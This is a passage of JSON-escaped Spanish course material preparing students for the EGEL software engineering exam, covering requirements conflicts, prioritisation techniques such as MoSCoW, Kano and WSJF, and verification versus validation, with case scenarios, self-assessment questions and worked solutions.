\"Requiero factura con mis datos fiscales\", el sistema solicitará obligatoriamente los datos fiscales y un correo de validación antes del cobro.\n2. Ambos departamentos satisfacen sus restricciones esenciales sin violar la ley ni exponer a la empresa al fraude masivo.\n\n## Errores y confusiones frecuentes\n\n- **Postergar la resolución de conflictos para la fase de programación:** Dejar que los desarrolladores \"decidan sobre la marcha\" cómo resolver una contradicción entre departamentos. El desarrollador implementará lo que le parezca más sencillo, generando rechazo del cliente en la entrega.\n- **Ignorar las dependencias externas en la estimación de riesgos:** No documentar qué requerimientos dependen de un proveedor externo que podría retrasar su API durante meses.\n- **Confundir viabilidad técnica con viabilidad económica:** Un requerimiento puede ser técnicamente posible (construir un datacenter cuántico propio), pero inviable por costo y plazo.\n\n## Claves para el EGEL\n- Cuando un reactivo presente requerimientos de dos departamentos distintos que entran en colisión, la respuesta correcta siempre implica una **técnica de negociación, análisis de riesgos y definición de compromisos técnicos (trade-offs)**, nunca descartar a un departamento por capricho ni delegar la decisión a los programadores.\n- Identifica siempre la raíz del conflicto: ¿es legal, de seguridad, de rendimiento o puramente de preferencia operativa?\n\n## Autoevaluación\nDurante el análisis de un sistema bancario, el área de Auditoría exige que *\"todas las consultas a cuentas de clientes se almacenen en una bitácora inmutable en tiempo real\"*, mientras que el área de Infraestructura advierte que *\"el volumen de consultas degradará el tiempo de respuesta de los cajeros en un 40%\"*.\n¿Cuál es la acción profesional que debe ejecutar el ingeniero de requerimientos?\nA) Rechazar la exigencia de Auditoría porque el rendimiento del cajero es más visible para el cliente.\nB) Ignorar la advertencia de Infraestructura porque las normas de auditoría son de cumplimiento obligatorio.\nC) Realizar un análisis de trade-offs entre seguridad y rendimiento, proponiendo una arquitectura de registro asíncrono en cola de mensajería que garantice la bitácora sin bloquear la transacción en el cajero.\nD) Cancelar el proyecto hasta que el banco adquiera servidores más veloces.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- El análisis transforma requerimientos conflictivos en especificaciones coherentes y ejecutables.\n- Los conflictos entre atributos de calidad se resuelven mediante análisis de compensación (trade-offs).\n- Mapear dependencias es indispensable para ordenar el plan de construcción y entrega.\n","title":"1.2.2 Análisis de requerimientos: Conflictos, inconsistencias y dependencias"},{"children":[],"contentMd":"# Principios y técnicas de priorización de requerimientos\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de evaluar, seleccionar y aplicar técnicas profesionales de priorización de requerimientos (MoSCoW, Matriz Valor vs Esfuerzo, Modelo Kano, WSJF), fundamentando las decisiones en principios de valor del negocio, urgencia, riesgo, costo y dependencias técnicas.\n\n## ¿Por qué importa en la práctica profesional?\nEn el 100% de los proyectos de software del mundo real, el tiempo y el presupuesto son finitos, mientras que la lista de deseos de los interesados es infinita. Si un equipo no prioriza rigurosamente, los desarrolladores empezarán por las tareas que les resulten más entretenidas o técnicamente novedosas, consumiendo el presupuesto antes de haber terminado el motor de pagos o la seguridad del sistema. Priorizar es decidir conscientemente qué se construye primero, qué se pospone y qué se descarta.\n\n## Factores y variables de priorización\nUna priorización profesional no se basa en \"quién grita más fuerte en la reunión\". Debe equilibrar múltiples dimensiones:\n\n1. **Valor del negocio (Business Value):** Beneficio financiero, operativo o estratégico directo que aporta la funcionalidad.\n2. **Costo y Esfuerzo de desarrollo (Cost / Effort):** Horas de ingeniería, licencias e infraestructura requeridas para implementar el requerimiento.\n3. **Riesgo técnico o de negocio (Risk):** Grado de incertidumbre, novedad tecnológica o probabilidad de fallos severos asociados al requerimiento.\n4. **Urgencia / Ventana de oportunidad (Time Criticality):** Penalización por retraso (Cost of Delay) si la función no está disponible en una fecha fija (por ejemplo, una ley que entra en vigor el 1 de enero).\n5. **Dependencias técnicas:** Un requerimiento de bajo valor puede ser de prioridad alta si 10 requerimientos vitales dependen de que esté construido primero.\n\n---\n\n## Técnicas profesionales de priorización\n\n### 1. Método MoSCoW\nEs una de las técnicas más reconocidas internacionalmente para negociar el alcance con stakeholders:\n- **Must have (Debe tener):** Requerimientos obligatorios y no negociables. Si no se entregan, el producto no puede salir a producción o no es legal. Constituyen el Producto Mínimo Viable (MVP).\n- **Should have (Debería tener):** Requerimientos de alto valor que son críticos, pero existe una solución temporal o manual en caso de emergencia.\n- **Could have (Podría tener):** Mejoras deseables que solo se implementarán si sobra tiempo y presupuesto tras garantizar los Must y Should.\n- **Won't have (this time) (No tendrá por ahora):** Requerimientos explícitamente descartados para este lanzamiento, pero documentados para futuras versiones.\n\n### 2. Matriz Valor vs Esfuerzo (Matriz 2x2 de Impacto/Costo)\nClasifica los requerimientos en cuatro cuadrantes evaluando el valor comercial frente a la dificultad técnica:\n- **Alto Valor / Bajo Esfuerzo (\"Ganancias Rápidas\" / Quick Wins):** Máxima prioridad de inicio. Generan retorno inmediato y moral alta para el equipo.\n- **Alto Valor / Alto Esfuerzo (\"Grandes Proyectos\" / Major Projects):** Requerimientos medulares. Deben descomponerse en entregas incrementales y planificarse con sumo cuidado.\n- **Bajo Valor / Bajo Esfuerzo (\"Rellenos\" / Fill-ins):** Tareas secundarias a ejecutar en tiempos muertos.\n- **Bajo Valor / Alto Esfuerzo (\"Sumideros de Tiempo\" / Time Wasters):** Deben ser descartados o despriorizados de inmediato.\n\n### 3. Modelo Kano\nClasifica las características según la percepción emocional y satisfacción del cliente frente al nivel de implementación:\n- **Básicas / Imprescindibles (Must-be / Dissatisfiers):** El cliente las da por sentadas (ej. que un banco en línea muestre el saldo correcto). Si no están, causan furia; si están al 100%, no generan emoción adicional.\n- **Rendimiento / Lineales (Performance / Satisfiers):** A mayor nivel de implementación, mayor satisfacción (ej. mayor duración de batería, menor tiempo de descarga).\n- **Entusiasmantes / Atractivas (Delighters):** Funcionalidades innovadoras que el cliente no esperaba. Si faltan no causan queja, pero si están generan fidelidad extrema.\n- **Indiferentes:** Características que al usuario le dan exactamente igual; deben eliminarse.\n\n### 4. WSJF (Weighted Shortest Job First - El trabajo más corto ponderado primero)\nUtilizado en marcos ágiles a escala (SAFe) para maximizar el retorno económico:\n$$\\text{WSJF} = \\frac{\\text{Costo del Retraso (Cost of Delay)}}{\\text{Duración o Tamaño del Trabajo (Job Size)}}$$\nDonde:\n$$\\text{Cost of Delay} = \\text{Valor para Usuario/Negocio} + \\text{Criticidad Temporal} + \\text{Reducción de Riesgo / Habilitación de Oportunidad}$$\n\nUn trabajo con alto costo de retraso pero muy pequeño en duración tendrá un WSJF elevadísimo y debe construirse inmediatamente.\n\n---\n\n## Tabla comparativa de técnicas de priorización\n\n| Técnica | Base conceptual | Complejidad | Ventaja principal | Mejor contexto de uso |\n|---|---|---|---|---|\n| **MoSCoW** | Necesidad crítica vs Deseable | Baja | Facilita la negociación contractual con clientes. | Delimitación del alcance de versiones fijas o MVP. |\n| **Valor vs Esfuerzo** | Retorno de inversión relativo | Media | Muy visual e intuitiva para comités de proyecto. | Priorización ágil del backlog en etapas tempranas. |\n| **Modelo Kano** | Psicología y satisfacción del usuario | Media / Alta | Evita sobreinvertir en funciones básicas obvias. | Diseño de productos digitales de consumo masivo. |\n| **WSJF** | Economía del retraso y tamaño | Alta | Evita que proyectos gigantescos bloqueen mejoras rápidas de alto valor. | Grandes organizaciones y portafolios con muchos proyectos concurrentes. |\n\n## Escenario de decisión profesional: La app médica \"SaludMóvil\"\nUn equipo debe lanzar la primera versión de la app en 8 semanas. Los requerimientos solicitados son:\n1. *\"Inicio de sesión con huella dactilar y reconocimiento facial.\"*\n2. *\"Historial de citas médicas del paciente.\"*\n3. *\"Cálculo del Índice de Masa Corporal (IMC) con gráficas animadas en 3D.\"*\n4. *\"Llamada de emergencia directa al 911 en un clic.\"*\n5. *\"Modo oscuro en toda la interfaz gráfica.\"*\n\n**Aplicación del método MoSCoW:**\n- **Must Have:**\n  - *Historial de citas médicas (2):* La razón de ser de la aplicación de salud.\n  - *Llamada de emergencia al 911 (4):* Crítico para la seguridad de los pacientes en situaciones de vida o muerte.\n- **Should Have:**\n  - *Inicio de sesión biométrico (1):* Gran valor de usabilidad, pero si no da tiempo, los usuarios pueden ingresar con usuario y contraseña tradicionales en la versión 1.0.\n- **Could Have:**\n  - *Modo oscuro (5):* Aporta estética y comodidad, pero su ausencia no detiene el uso médico.\n- **Won't Have (this time):**\n  - *Gráficas animadas en 3D para el IMC (3):* Desperdicio masivo de esfuerzo para una función trivial. Se pospone o se reemplaza por un cálculo simple en texto plano.\n\n## Errores y confusiones frecuentes\n\n- **El síndrome del \"Todo es Must\":** Permitir que los stakeholders marquen el 100% de los requerimientos como indispensables. Si todo es prioritario, nada es prioritario.\n- **Priorizar sin considerar dependencias:** Poner una funcionalidad de checkout como prioridad 1 sin haber priorizado la creación de usuarios o el catálogo de productos del cual depende.\n- **Ignorar el costo de retraso:** Priorizar un módulo de diseño estético sobre una integración fiscal que vence legalmente la próxima semana y causará multas millonarias.\n\n## Claves para el EGEL\n- Si un reactivo te plantea la necesidad de definir el **alcance mínimo viable (MVP)** con una clasificación contractual comprensible para el cliente: la técnica predilecta es **MoSCoW**.\n- Si el reactivo evalúa la relación entre **beneficio percibido por el usuario y costo de implementación**: busca la **Matriz Valor vs Esfuerzo**.\n- Si el reactivo indaga sobre el impacto en la **satisfacción y deleite del usuario**: la respuesta es el **Modelo Kano**.\n\n## Autoevaluación\nUna empresa de software tiene presupuesto limitado y debe decidir entre dos requerimientos:\n- Requerimiento X: Aportará $100,000 USD de ganancia neta, pero requiere 10 meses de trabajo de todo el equipo.\n- Requerimiento Y: Aportará $30,000 USD de ganancia neta, pero puede implementarse en tan solo 1 semana.\nAplicando el principio de WSJF y optimización de flujo económico, ¿cuál debe ejecutarse primero y por qué?\nA) El Requerimiento X, porque la ganancia total absoluta es mayor.\nB) El Requerimiento Y, porque su tasa de retorno por unidad de tiempo invertido es astronómicamente superior y libera recursos de inmediato.\nC) Ninguno, se debe esperar a contar con más presupuesto.\nD) Se deben desarrollar en paralelo asignando la mitad del equipo a cada uno.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Priorizar es una decisión económica y estratégica, no una votación de popularidad.\n- MoSCoW separa lo indispensable (Must) de lo prescindible (Could/Won't).\n- Entregar valor temprano reduce el riesgo financiero de todo el proyecto.\n","title":"1.2.3 Principios y técnicas de priorización de requerimientos"},{"children":[],"contentMd":"# Validación y verificación de requerimientos: Del acuerdo al contrato técnico\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de distinguir conceptual y prácticamente entre la verificación y la validación de requerimientos de software, aplicando revisiones formales, inspecciones de código/documentos, prototipos de validación y matrices de trazabilidad para certificar la calidad de las especificaciones antes de iniciar la fase de construcción.\n\n## ¿Por qué importa en la práctica profesional?\nLa confusión entre \"verificar\" y \"validar\" es uno de los errores conceptuales más persistentes y sancionados en exámenes profesionales de ingeniería de software. Un equipo puede construir un software matemáticamente perfecto, sin bugs de sintaxis, que compile a la primera y que cumpla al pie de la letra el documento de especificación... y descubrir el día del lanzamiento que el cliente no puede usarlo porque el documento especificó el problema equivocado. Entender la diferencia entre ambas actividades es vital para evitar desastres contractuales.\n\n## El dilema canónico de Boehm: Verificación vs Validación\n\nBarry Boehm sintetizó la distinción con dos preguntas inolvidables:\n\n\u003e **Validación:** *¿Estamos construyendo el producto CORRECTO?*\n\u003e (Are we building the RIGHT product?)\n\n\u003e **Verificación:** *¿Estamos construyendo el producto CORRECTAMENTE?*\n\u003e (Are we building the product RIGHT?)\n\n---\n\n### 1. Validación de Requerimientos\n- **Propósito:** Garantizar que los requerimientos especificados satisfagan las verdaderas necesidades, metas y expectativas de los interesados del negocio y los usuarios finales.\n- **Foco:** El contenido, la intención, el valor y la adecuación al mundo real.\n- **Participantes obligatorios:** Los usuarios finales, los clientes y los expertos del negocio (el equipo técnico no puede validarse a sí mismo en el vacío).\n- **Técnicas principales de validación:**\n  - *Revisiones con stakeholders (Walk-throughs con usuarios):* Lectura guiada donde el analista traduce la especificación a historias cotidianas para que el usuario confirme si eso es lo que necesita.\n  - *Prototipos de validación:* Demostraciones de interfaces operativas para que el usuario confirme flujos y reglas.\n  - *Pruebas de aceptación del usuario (UAT) anticipadas:* Redacción de los escenarios de prueba de aceptación junto con el cliente antes de escribir el código.\n\n### 2. Verificación de Requerimientos\n- **Propósito:** Garantizar que la especificación de requerimientos cumpla con los estándares de calidad formal de la ingeniería de software: no ambigüedad, completitud, consistencia, conformidad con la plantilla (ej. IEEE 830) y verificabilidad técnica.\n- **Foco:** La estructura, la coherencia lógica interna, la sintaxis y el rigor técnico.\n- **Participantes:** Analistas de software, arquitectos, líderes técnicos y especialistas de Aseguramiento de Calidad (QA).\n- **Técnicas principales de verificación:**\n  - *Inspecciones formales de requerimientos (Fagan Inspections):* Proceso formal con roles asignados (moderador, autor, inspector) para encontrar defectos en el texto.\n  - *Listas de comprobación (Checklists):* Verificación de que cada requerimiento tenga criterios de aceptación, id único, prioridad y no contenga palabras ambiguas.\n  - *Análisis de consistencia cruzada:* Auditoría de matrices de trazabilidad para comprobar que no existan requerimientos huérfanos o contradictorios.\n\n---\n\n## Matriz comparativa: Verificación vs Validación\n\n| Criterio | Validación de Requerimientos | Verificación de Requerimientos |\n|---|---|---|\n| **Pregunta fundamental** | ¿Construimos el sistema correcto? | ¿Está bien especificado el sistema? |\n| **Referencia de comparación** | La necesidad real y las expectativas del cliente en el mundo real. | Los estándares de documentación, reglas de coherencia lógica y plantillas. |\n| **Juez supremo** | El cliente / Usuario final / Stakeholder. | El ingeniero de software / Analista / Equipo de QA. |\n| **Principal riesgo si falla** | Entregar un sistema inútil que nadie usa, aunque funcione a la perfección técnica. | Entregar un sistema plagado de bugs, ambigüedades e inconsistencias arquitectónicas. |\n| **Momento de ejecución** | Durante la elicitación, revisión de especificaciones y en las pruebas de aceptación (UAT). | Durante la redacción de requerimientos, revisiones por pares y pruebas unitarias/integración. |\n| **Ejemplo de hallazgo** | \"El usuario médico dice que en urgencias no tiene tiempo de llenar 15 campos obligatorios\". | \"El requerimiento RF-04 no especifica el tipo de dato ni el valor límite del campo RFC\". |\n\n## Escenario de decisión profesional: La auditoría del software bancario\nUna institución financiera audita el módulo de prevención de lavado de dinero (PLD) antes de su certificación regulatoria. El equipo de auditoría realiza dos actividades:\n1. **Actividad A:** Revisa el documento SRS para comprobar que ningún requerimiento utilice la palabra \"rápido\", que todos los requerimientos funcionales tengan un ID único con formato `RF-PLD-XXX` y que no existan contradicciones entre las reglas de alerta de los capítulos 3 y 8.\n2. **Actividad B:** Se reúne con los oficiales de cumplimiento normativo y el departamento legal para simular casos reales de transferencias sospechosas y comprobar si los reportes generados satisfacen exactamente los requerimientos del regulador financiero nacional.\n\n**Clasificación técnica irrebatible:**\n- La **Actividad A** es un proceso puro de **Verificación de requerimientos** (auditoría de consistencia, sintaxis, estándares y completitud formal).\n- La **Actividad B** es un proceso puro de **Validación de requerimientos** (comprobar contra la realidad legal y la necesidad del usuario que el software cumple el propósito deseado).\n\n## Errores y confusiones frecuentes\n\n- **Creer que compilar código o pasar tests unitarios es validación:** Pasar pruebas unitarias es *verificación* (demuestra que el código hace lo que el programador especificó). La validación solo ocurre cuando el usuario confirma que eso resuelve su problema.\n- **Hacer validación sin usuarios reales:** Pedirle a los programadores del equipo que \"validen\" si el flujo de caja de un supermercado es cómodo. Los programadores no son cajeros; su opinión es un sesgo interno.\n- **Firmar requerimientos sin verificar:** Someter a validación del cliente un documento lleno de ambigüedades técnicas (\"el sistema será ágil\"). El cliente firmará feliz, pero los problemas estallarán durante las pruebas de integración.\n\n## Claves para el EGEL\n- **Regla mnemotécnica infalible:**\n  - Si la acción evalúa **adecuación a las necesidades del usuario, satisfacción de expectativas o resolución del problema real**: es **VALIDACIÓN**.\n  - Si la acción evalúa **ausencia de ambigüedad, consistencia interna, conformidad con estándares técnicos o sintaxis**: es **VERIFICACIÓN**.\n- Memoriza que las revisiones formales de especificaciones contienen pasos de ambos tipos, pero la distinción radica en el *objeto de comparación*.\n\n## Autoevaluación\nUn equipo de desarrollo somete su documento de especificación a una inspección por pares donde el equipo de QA detecta que el requerimiento 14 entra en contradicción directa con el requerimiento 38 respecto a los permisos de borrado de facturas.\n¿Qué actividad acaba de realizarse con éxito?\nA) Validación de requerimientos con el usuario.\nB) Verificación interna de requerimientos.\nC) Pruebas de regresión automatizadas.\nD) Elicitación de requerimientos no funcionales.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Validar es contrastar con el usuario y la realidad del negocio; verificar es contrastar con el estándar técnico y la lógica interna.\n- Un software verificado pero no validado es una obra maestra de ingeniería que nadie necesita.\n- La trazabilidad entre requerimientos y pruebas de aceptación es el puente entre la verificación y la validación.\n","title":"1.2.4 Validación y verificación de requerimientos: Del acuerdo al contrato técnico"},{"children":[],"contentMd":"# Escenarios de decisión profesional: Elicitación, análisis y priorización\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de integrar las técnicas de obtención, análisis, priorización, verificación y validación en casos profesionales complejos, diagnosticando riesgos, seleccionando metodologías apropiadas y justificando decisiones de ingeniería bajo presiones de tiempo y presupuesto.\n\n---\n\n## Escenario Práctico 1: El Sistema de Gestión de Emergencias de Protección Civil\n**Contexto:** Un gobierno estatal convoca a licitación para construir un sistema centralizado de atención a desastres naturales (inundaciones, terremotos, incendios forestales). Participan brigadistas en campo, rescatistas del ejército, operadores del 911, científicos del centro de sismología y directivos del gobierno estatal.\n- Los brigadistas en campo señalan que las comunicaciones celulares se caen durante desastres mayores.\n- Los directivos estatales exigen dashboards analíticos en tiempo real con mapas interactivos transmitiendo video en 4K.\n- Los operadores del 911 reclaman que no pueden perder más de 10 segundos capturando la ubicación de una llamada de auxilio.\n\n### Decisiones del ingeniero de requerimientos:\n\n1. **Estrategia de elicitación combinada:**\n   - Para los operadores del 911: **Observación directa (Shadowing)** en la sala de radiooperaciones durante un simulacro para cronometrar la captura de datos e identificar campos redundantes.\n   - Para los brigadistas y rescatistas: **Talleres de análisis de incidentes críticos** basados en bitácoras de huracanes pasados para descubrir el flujo real en situaciones de desconexión.\n   - Para directivos y científicos: **Entrevistas semiestructuradas** enfocadas en las decisiones de evacuación que deben tomarse con los datos.\n\n2. **Resolución de conflictos y análisis:**\n   - **Conflicto detectado:** Video 4K en tiempo real (directivos) vs colapso total de redes celulares en desastres (brigadistas en campo).\n   - **Solución técnica de compromiso (Trade-off):** Priorizar el envío de paquetes ligeros de telemetría de texto comprimido y coordenadas GPS mediante radiofrecuencia/red satelital básica como requerimiento *Must Have*. El streaming de video en 4K se clasifica como *Could Have* (activo únicamente si existe enlace de fibra óptica o microondas dedicado).\n\n3. **Priorización MoSCoW resultante:**\n   - **Must:** Operación local fuera de línea en terminales portátiles, despacho de coordenadas en menos de 10 segundos, alerta sísmica en milisegundos.\n   - **Should:** Sincronización automática distribuida cuando se restablece la red, reportes consolidados para el ejército.\n   - **Could:** Streaming de video desde drones en zonas con conectividad.\n   - **Won't:** Módulo de predicción meteorológica con inteligencia artificial para la primera fase.\n\n---\n\n## Escenario Práctico 2: El colapso del proyecto \"AgroTech\"\nUna empresa de software fue contratada por una asociación de agricultores para digitalizar la compraventa de cosechas. El equipo aplicó una encuesta digital por correo a 300 agricultores. Al entregar el software 6 meses después, los agricultores se negaron a utilizarlo porque la mayoría no usa correo electrónico, se comunica por notas de voz de WhatsApp y el sistema exigía ingresar la producción en toneladas métricas cuando ellos comercian tradicionalmente en \"arpillas\" y \"cargas\".\n\n### Diagnóstico forense de ingeniería:\n1. **Fallo en elicitación:** Se eligió una técnica inapropiada (encuesta por correo) para una población con baja digitalización formal y fuerte conocimiento tácito. La técnica correcta debió ser **entrevistas presenciales en parcelas y observación de transacciones reales en las centrales de abasto**.\n2. **Fallo en validación temprana:** El equipo nunca presentó prototipos clicables ni escenarios reales de uso a los agricultores antes de programar; asumieron que la encuesta respondida por unos cuantos directivos de la asociación representaba a los usuarios de campo.\n3. **Fallo en reglas de dominio:** No se construyó un glosario de términos ni se modelaron las unidades de medida tradicionales en el dominio del negocio.\n\n---\n\n## Escenario Práctico 3: Dilema de verificación vs validación en un marcapasos cardíaco\nUn fabricante de dispositivos médicos desarrolla el firmware de un nuevo marcapasos implantable:\n- El equipo de verificación demuestra que el algoritmo cumple con la norma ISO 14971 de gestión de riesgos, que no existen desbordamientos de memoria (buffer overflow) y que el consumo energético del chip se mantiene en 3 microamperios según la especificación técnica.\n- Sin embargo, en las pruebas clínicas simuladas con cardiólogos (validación), los médicos advierten que el marcapasos no acelera la frecuencia cardíaca cuando el paciente sube escaleras porque la especificación original no contempló la detección de cambios en la temperatura corporal o acelerómetros de movimiento.\n\n**Conclusión:** El software estaba perfectamente **verificado** contra su especificación, pero estaba **inválido** porque la especificación misma omitió un requerimiento clínico fundamental del paciente en la vida real.\n\n## Claves para el EGEL\n- Un escenario que describa rechazo del usuario ante un software que \"cumple las especificaciones de diseño\" apunta de forma inequívoca a una **deficiencia en la validación temprana con usuarios reales**.\n- Ante restricciones de tiempo o recursos, la justificación de priorización debe apoyarse en **mitigación de riesgos y retorno de valor**, nunca en comodidad de desarrollo.\n\n## Autoevaluación\nUna universidad encarga un sistema de control escolar. El director de TI exige que los estudiantes evalúen a los profesores únicamente mediante una app móvil nativa en iOS, pero el análisis demográfico revela que el 85% de los alumnos utiliza dispositivos Android de gama media-baja.\n¿Qué defecto de requerimientos y qué acción correctiva corresponden a este escenario?\nA) Es un defecto de factibilidad y adecuación de requerimientos; el analista debe evidenciar la contradicción mediante métricas demográficas y proponer una solución multiplataforma o web responsiva accesible para la mayoría.\nB) No hay defecto; las restricciones impuestas por el director de TI son inmutables y los alumnos deben acatarlas.\nC) Es un problema de verificación sintáctica en el documento SRS.\nD) Se debe posponer el proyecto hasta que los alumnos adquieran teléfonos iOS.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Los escenarios profesionales evalúan la habilidad de conectar la técnica correcta con el contexto humano y técnico del problema.\n- Verificar previene bugs; validar previene el fracaso del producto.\n","title":"1.2.5 Escenarios de decisión profesional: Elicitación, análisis y priorización"},{"children":[],"contentMd":"# Repaso y consolidación: Subárea 1.2 — Ciclo de requerimientos\n\n## Mapa mental conceptual\n\n```text\n                      CICLO INTEGRAL DE REQUERIMIENTOS (1.2)\n                                        │\n     ┌───────────────────────┬──────────┴────────────┬────────────────────────┐\n     │                       │                       │                        │\nOBTENCIÓN (Elicitación)   ANÁLISIS               PRIORIZACIÓN             CONTROL DE CALIDAD\n ├─ Entrevistas           ├─ Conflictos          ├─ MoSCoW (Must, etc.)   ├─ VERIFICACIÓN\n │  (Semiestructuradas)   ├─ Inconsistencias     ├─ Valor vs Esfuerzo     │  └─ ¿Construimos bien?\n ├─ Cuestionarios         ├─ Ambigüedades        ├─ Modelo Kano           │     (Estándares, lógica)\n ├─ Observación directa   ├─ Dependencias        │  (Básico/Satisfier)    └─ VALIDACIÓN\n ├─ Talleres JAD          └─ Factibilidad        └─ WSJF (Cost of Delay)     └─ ¿Construimos lo\n └─ Prototipado                                                                 correcto? (Usuario)\n```\n\n## Tabla maestra de decisiones de la subárea 1.2\n\n| Si enfrentas este desafío en el escenario... | Aplica prioritariamente esta técnica... | Porque garantiza... |\n|---|---|---|\n| Usuarios operativos que no logran explicar sus pasos o rutinas | **Observación directa (Shadowing)** | Capturar el conocimiento tácito y excepciones de la práctica real. |\n| Múltiples departamentos en conflicto político sobre un proceso | **Taller facilitado (JAD)** | Negociación y consenso presencial en tiempo récord con un moderador neutral. |\n| Universo de miles de usuarios dispersos geográficamente | **Cuestionario / Encuesta** | Escalabilidad estadística a costo mínimo. |\n| Presupuesto y tiempo recortados con alcance sobredimensionado | **Método MoSCoW o Matriz Valor/Esfuerzo** | Delimitar objetivamente el Producto Mínimo Viable (MVP). |\n| Comprobar que el documento no tenga contradicciones lógicas | **Inspección Formal de Requerimientos (Verificación)** | Calidad estructural, ausencia de ambigüedad y consistencia interna. |\n| Comprobar que el sistema resuelve la verdadera necesidad del cliente | **Pruebas de Aceptación con Prototipos (Validación)** | Certeza de que estamos construyendo el producto correcto para el negocio. |\n\n## Checklist de dominio profesional\n- [ ] Puedo comparar las ventajas y desventajas de las 6 técnicas principales de elicitación.\n- [ ] Sé cómo resolver un conflicto entre requerimientos de seguridad y usabilidad aplicando trade-offs.\n- [ ] Domino las cuatro categorías de MoSCoW y sé justificar por qué un requerimiento es Must vs Should.\n- [ ] Puedo recitar y aplicar la distinción de Barry Boehm entre verificación y validación en cualquier contexto.\n- [ ] Conozco las variables que integran el cálculo del Cost of Delay en priorización económica.\n\n## Minicaso integrador de práctica\n**Escenario:** Una cadena hotelera internacional rediseña su motor de reservas en línea. El área de marketing desea que no se solicite tarjeta de crédito para reservar y así aumentar las reservas en un 50%. El área de finanzas argumenta que el 40% de las reservas sin tarjeta resultan en \"no-show\" (el huésped no llega) dejando habitaciones vacías sin cobrar. El equipo de TI advierte que actualizar las tarifas globales toma 15 minutos en sincronizarse con los portales de viajes externos (Booking, Expedia).\n\n**Reto analítico:**\n1. ¿Qué tipo de conflicto existe entre Marketing y Finanzas y cómo se resuelve profesionalmente?\n2. ¿Qué atributo de calidad se ve afectado por los 15 minutos de sincronización de TI?\n*(Pistas de solución: 1. Conflicto de reglas de negocio y riesgo financiero; se resuelve exigiendo tarjeta únicamente en temporadas altas o cobrando una retención simbólica reembolsable. 2. Atributo no funcional de consistencia eventual e interoperabilidad).*\n","title":"1.2.6 Repaso y consolidación: Subárea 1.2"},{"children":[],"contentMd":"# Soluciones razonadas: Autoevaluaciones de la Subárea 1.2\n\nEn esta lección se desglosan las respuestas correctas y los distractores de las autoevaluaciones planteadas a lo largo de la subárea 1.2.\n\n---\n\n### Solución a la autoevaluación 1.2.1 (Técnicas de elicitación)\n**Pregunta:** Una empresa de logística sufre pérdidas porque los conductores en carretera omiten reportar entregas fallidas. Los manuales lo explican, pero los conductores dicen que la app no les sirve en carretera. ¿Cuál es la técnica de elicitación más adecuada?\n\n- **Opción correcta: B** (Realizar observación directa en campo acompañando a los conductores en sus rutas reales de reparto: Shadowing).\n- **Argumentación técnica:** Cuando existe discrepancia entre la teoría documentada y la práctica operativa en campo, las encuestas o manuales son inútiles porque los conductores no pueden describir adecuadamente las condiciones ambientales adversas mientras conducen (brillo solar en pantalla, falta de señal, guantes de trabajo, prisas por el tráfico). Acompañar al conductor permite al analista experimentar en carne propia los obstáculos ergonómicos y técnicos reales.\n- **Por qué fallan los distractores:**\n  - La opción A (encuesta) fracasará porque los conductores rara vez contestan correos y no capturará el contexto ambiental.\n  - La opción C (leer el manual) es absurda porque el manual ya existe y es precisamente lo que no se ajusta a la realidad.\n  - La opción D (taller JAD en sala corporativa) aísla a los conductores de su entorno de trabajo y crea barreras jerárquicas con los directivos.\n\n---\n\n### Solución a la autoevaluación 1.2.2 (Análisis y conflictos)\n**Pregunta:** En un banco, Auditoría exige bitácora inmutable en tiempo real de todas las consultas, pero Infraestructura advierte que esto degradará el tiempo de respuesta del cajero en un 40%. ¿Qué debe hacer el analista?\n\n- **Opción correcta: C** (Realizar un análisis de trade-offs entre seguridad y rendimiento, proponiendo una arquitectura de registro asíncrono en cola de mensajería que garantice la bitácora sin bloquear la transacción en el cajero).\n- **Argumentación técnica:** El trabajo de un ingeniero de software no es tomar partido por un área ni cancelar proyectos ante el primer desafío técnico. Se debe realizar un análisis de compensaciones (trade-offs) y buscar una solución arquitectónica que satisfaga ambos requerimientos esenciales: la inmutabilidad de la auditoría se logra mediante una cola de eventos asíncrona dedicada, mientras que la transacción del cajero responde de inmediato sin esperar la escritura del log.\n- **Por qué fallan los distractores:**\n  - Las opciones A y B violan principios éticos y técnicos al ignorar la seguridad regulatoria o ignorar la viabilidad del rendimiento.\n  - La opción D es derrotista y antieconómica.\n\n---\n\n### Solución a la autoevaluación 1.2.3 (Técnicas de priorización)\n**Pregunta:** La empresa debe elegir entre el Requerimiento X ($100k en 10 meses) y el Requerimiento Y ($30k en 1 semana). Según WSJF y retorno económico, ¿cuál debe ejecutarse primero?\n\n- **Opción correcta: B** (El Requerimiento Y, porque su tasa de retorno por unidad de tiempo invertido es astronómicamente superior y libera recursos de inmediato).\n- **Argumentación técnica:** El principio WSJF calcula el costo del retraso dividido entre la duración del trabajo.\n  - En el Requerimiento Y: Genera $30,000 con solo 1 semana de esfuerzo ($30,000 / 0.25 meses = tasa de $120,000/mes).\n  - En el Requerimiento X: Genera $100,000 en 10 meses ($100,000 / 10 meses = tasa de $10,000/mes).\n  Si implementas Y primero, la empresa empieza a cobrar $30k de inmediato a partir de la semana 2 y continúa el resto de los 10 meses desarrollando X. Si implementas X primero, pasas 10 meses enteros con cero ingresos adicionales.\n- **Por qué fallan los distractores:**\n  - La opción A comete el error ingenuo de mirar solo el número nominal sin considerar el costo de oportunidad ni el tiempo.\n  - Las opciones C y D ignoran la priorización secuencial y el desperdicio del cambio de contexto.\n\n---\n\n### Solución a la autoevaluación 1.2.4 (Validación vs Verificación)\n**Pregunta:** Una inspección por pares de QA detecta que el requerimiento 14 entra en contradicción con el requerimiento 38 respecto a los permisos de borrado. ¿Qué actividad se realizó con éxito?\n\n- **Opción correcta: B** (Verificación interna de requerimientos).\n- **Argumentación técnica:** La detección de una inconsistencia lógica interna entre dos secciones del documento realizada por el equipo de ingeniería/QA mediante una inspección formal es la definición de libro de texto de **Verificación de requerimientos** (revisar que el documento esté bien construido y sin defectos de lógica interna).\n- **Por qué fallan los distractores:**\n  - La opción A es incorrecta porque no participaron usuarios finales ni se evaluó si el requerimiento satisface la necesidad real del negocio.\n  - Las opciones C y D mencionan etapas que no corresponden a la inspección estática del documento.\n\n---\n\n### Solución a la autoevaluación 1.2.5 (Escenario de decisión 